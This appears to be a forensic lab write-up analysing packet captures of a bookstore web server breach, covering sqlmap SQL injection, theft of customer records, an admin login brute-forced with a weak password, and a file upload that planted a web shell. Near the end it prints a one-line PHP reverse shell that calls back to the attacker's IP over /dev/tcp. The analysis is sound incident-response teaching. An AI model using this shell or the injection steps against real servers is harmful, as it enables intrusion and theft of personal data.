Web Investigation Lab — tracing a bookstore breach packet by packet

Statistics → Conversations shows every host that talked to the victim web server (73.124.22.98). Two external IPs jump out immediately by volume: 111.224.250.131 (88,484 packets / 29 MB) and 170.40.150.126 (256 packets).

~/evidence/fig01.png

~/evidence/fig02.png

Every SQLi and exploitation packet in this investigation traces back to this one address.

Running the IP through an IP2Location lookup resolves it to ASN 4134 (ChinaNet Hebei Province), geolocated to Shijiazhuang, Hebei, China — a location with no legitimate business relationship to this bookstore. That's a solid indicator this is a targeted attack, not organic traffic.

~/evidence/fig03.png

Statistics → HTTP → Requests lists every HTTP request made to bookworldstore.com. Sorted by host, the pattern is obvious: a long run of requests to /search.php, starting as normal book title searches (harry potter, Dracula, lord of the rings) and mutating into SQL syntax probes and full UNION-based injection payloads.

~/evidence/fig04.png

~/evidence/fig05.png

To pin down the timeline, I isolated the attacker↔victim conversation and then searched packet strings for the earliest boolean-based SQLi probe.

ip.addr==111.224.250.131 && ip.addr==73.124.22.98

~/evidence/fig06.png

~/evidence/fig07.png

~/evidence/fig08.png

Classic boolean-based confirmation: and 1=1 (always true) with a trailing comment to swallow the rest of the original query — checking the parameter is injectable before escalating.

Following the HTTP stream for the request using a UNION SELECT against INFORMATION_SCHEMA.SCHEMATA reveals the full request/response — including a User-Agent: sqlmap/1.8.3#stable header, confirming this stage was automated.

~/evidence/fig09.png

The response discloses every database on the server. The payload leans on CONCAT + JSON_ARRAYAGG with hex-encoded delimiters — sqlmap's way of packing multi-row results through a single injectable column while dodging naive keyword filters.

In NetworkMiner's Files tab, filtering on search.php and scanning response sizes, one response stands out: 1,125 bytes, well above the typical ~150–300 byte error/probe response.

~/evidence/fig10.png

~/evidence/fig11.png

Following that stream shows a UNION-based query pulling first_name, last_name, email, phone from bookworld_db.customers — the response body contains real customer records in JSON form.

~/evidence/fig12.png

A separate stream filtered on the string admin shows the attacker pivoting away from SQLi toward directory discovery.

~/evidence/fig13.png

Following the full stream: GET /admin → 301 Moved Permanently → Location: /admin/ → GET /admin/ → 302 Found with a fresh PHPSESSID cookie. A non-public /admin/ directory, unlinked anywhere on the public site.

~/evidence/fig14.png

Filtering on http.request.method==POST narrowed to admin surfaces every login attempt against /admin/login.php.

~/evidence/fig15.png

Attempt 1 (failed): username=admin&password=admin → "Invalid username or password."

~/evidence/fig16.png

Attempt 2 (success): the POST body uses the URL-encoded password admin123%21. Since %21 is a percent-encoded !, the raw payload has to be decoded to read the actual credential used.

~/evidence/fig17.png

~/evidence/fig18.png

The 302 is immediately followed by GET /admin/index.php returning 200 OK — the attacker is now authenticated as admin.

With an authenticated session in hand, the attacker abused a file upload field on /admin/index.php. Following that TCP stream shows a multipart/form-data POST with a fileToUpload field named NVri2vhp.php.

~/evidence/fig19.png

The file's contents are a one-line PHP reverse shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/111.224.250.131/443 0>&1'");?>

It shells out to Bash and pipes stdin/stdout/stderr over a raw TCP socket back to the attacker's own IP on port 443 — riding on the standard HTTPS port to blend the outbound C2 callback in with normal encrypted traffic on firewalls that allow outbound 443 by default. Server response: "The file NVri2vhp.php has been uploaded."

This web shell hands the attacker persistent, interactive remote code execution independent of the admin session — so even after the compromised credentials are rotated, the attacker keeps a foothold until the file is located and removed and the underlying upload vulnerability is fixed.